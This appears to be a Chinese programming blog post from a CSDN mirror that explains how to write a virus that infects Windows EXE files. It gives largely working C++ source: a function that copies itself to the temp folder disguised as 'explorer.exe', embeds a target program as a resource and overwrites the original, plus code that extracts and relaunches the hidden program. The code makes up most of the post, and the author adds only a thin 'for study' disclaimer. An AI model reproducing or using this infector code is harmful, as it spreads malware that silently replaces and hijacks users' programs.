【EXE】关于病毒功能的简单剖析。
来源:互联网 发布:数据压缩算法的程序 编辑:程序博客网 时间:2024/05/18 12:30
也许很多人都认为编写病毒十分困难,其实并不尽然,然而可以说病毒最有价值的地方只有两个:
1.在于作者赋予的强大漏洞利用。
2.在于其强大的传染能力。
那么,现在讲的就是EXE病毒的感染。
要想感染,就是企图将病毒的代码插入到别的EXE中使得打开EXE就相当于打开了自己。
网络上有些方法是通过给pe文件加节的。
对于PE文件的结构要有很好的理解,不然很难写出来,所以我们不学这种,学习另一种。
Exe文件都有资源,储存在EXE文件内部,比如说一些图片,如图标。
图标是二进制文件,同样的一个EXE文件也是一个二进制文件,要想感染文件,不如尝试一下让别的EXE感染我们的文件吧!
那么如何实现,其实我们可以先将自己的EXE复制一份,然后将目标文件当做资源注入到自己的EXE文件中,再将处理过的EXE文件替换原来的正常EXE就行了,那如何实现运行后将程序交接给原程序呢?我们可以这样:在运行时先执行自己的EXE病毒代码,再将真正的EXE文件吐出来并运行。
总的来说,就是将源文件吞入,在以自己替换原来的文件。
打开时其实是运行的是自己,运行完后才运行原来的程序。
容易理解吧!
直接上代码,其实windows实现了几个厉害的API;
BeginUpdataResource
void KillExeFile(char *str) //感染目标文件 str为路径{ /*for(int i=0;i<=strlen(str);i++) if(str[i]=='$') return ; */ if(isKill(str)) { printf("Killed\n"); return; } DWORD dwFileSize,dwBytesRead,dwRet; HMODULE hLib=LoadLibraryA(str); //载入目标文件 HRSRC HResource; PBYTE lpBuffer; char This_File[256],TempFile[256]; dwRet=GetTempPath(0,NULL); memset(This_File,0,256);memset(TempFile,0,256); GetTempPathA(dwRet,TempFile); GetModuleFileNameA(NULL,This_File,256); strcat(TempFile,"\explorer.exe"); CopyFileA(This_File,TempFile,false); //复制到临时文件夹 if(hLib==NULL) return ; HResource=FindResource(hLib,MAKEINTRESOURCE(233),RT_RCDATA); //查找资源233 if(HResource!=NULL) { FreeLibrary(hLib); return ; } HANDLE hFile=CreateFileA(str,GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); if(hFile==NULL) return ; dwFileSize=GetFileSize(hFile,NULL); lpBuffer=new BYTE[dwFileSize+1]; if(ReadFile(hFile,lpBuffer,dwFileSize,&dwBytesRead,NULL)!=false) //读取目标文件 { //WideCharToMultiByte wchar_t* buffer=CharToW(TempFile); HResource=(HRSRC)BeginUpdateResource(buffer,false); //开始更新目标文件的资源 if(HResource!=NULL) { UpdateResource(HResource,RT_RCDATA,MAKEINTRESOURCE(233),MAKELANGID(LANG_NEUTRAL,SUBLANG_DEFAULT),(LPVOID)lpBuffer,dwFileSize); //更新 EndUpdateResource(HResource,false); //结束 } delete [] lpBuffer; FreeLibrary(hLib); CloseHandle(hFile); CopyFileA(TempFile,str,false); DeleteFileA(TempFile); //system("del /q D:\\explorer.exe"); return ; } else delete [] lpBuffer; FreeLibrary(hLib); CloseHandle(hFile); DeleteFileA(TempFile); //system("del /q D:\\explorer.exe"); return ;}int ResourceWriteToFile(LPCTSTR outFile,LPCTSTR resName,LPCTSTR type) //将资源释放{ HRSRC hResInfo=FindResource(NULL,type,resName); if(hResInfo==NULL) { return 1; } HGLOBAL hRes=LoadResource(NULL,hResInfo); LPVOID pData=LockResource(hRes); DWORD size=SizeofResource(NULL,hResInfo); HANDLE file=CreateFile(outFile,GENERIC_WRITE | GENERIC_READ,FILE_SHARE_READ | FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); if(file==INVALID_HANDLE_VALUE) { return 2; } DWORD nByteWrite; WriteFile(file,pData, size,&nByteWrite, NULL); CloseHandle(file); return 0;}void create_pro(TCHAR *Name){ STARTUPINFO ki; memset(&ki,0,sizeof(STARTUPINFO)); ki.cb=sizeof(STARTUPINFO); ki.dwFlags=STARTF_USESHOWWINDOW; ki.wShowWindow=SW_SHOW; PROCESS_INFORMATION gi; CreateProcess(Name,NULL,NULL,NULL,FALSE,0,NULL,NULL,&ki,&gi);}void main(){ if(ResourceWriteToFile(b,RT_RCDATA,MAKEINTRESOURCE(233))==0) create_pro(b); //创建进程}
由于安全考虑,此处只给出部分代码。
本文用于学习与交流,
若有用于违法活动,与CSDN及本人无关。
阅读全文
0 0
- 【EXE】关于病毒功能的简单剖析。
- Svchost.exe病毒的简单处理
- 关于 oxjsybe.exe 病毒的清除方法
- 关于Recycle.exe病毒的分析
- 关于recycle.exe病毒的查杀
- 关于文件夹病毒exe的处理方法
- 写一个简单删除RavMon.exe病毒的bat文件
- 关于校园网内最近流行的rose.exe病毒
- 关于U盘病毒tel.xls.exe的处理方法
- 关于sizhu.exe病毒的手动清除方法
- 关于Eventloopthreatpool的简单剖析
- 病毒wuaucll.exe、driver.exe的解决办法
- "RavMonE.exe"病毒的解决方法
- CheckSys.exe病毒的处理
- EXPLORER.EXE病毒的清除
- Sunny.exe病毒的解决方法
- lsass.exe病毒的解决方法
- 简单方法删除spoolsv.exe病毒
- 匈牙利算法
- Android:XListView使用AS默认继承的Activity报错
- FFMPEG Qt视频播放器之显示图像
- Android 保存图片到本地
- 【JavaScript学习】超时调用和间歇调用
- 【EXE】关于病毒功能的简单剖析。
- StringBuffer和StringBuilder的区别
- spring security rember me
- APK反编译-[Android_YangKe]
- 【单调栈】51Nod 1423 最大二“货”
- golang CI 入门
- 数据结构之单链表的查找
- Python3.5+PyQt5.6环境搭建
- FFMPEG Qt视频播放器之SDL的使用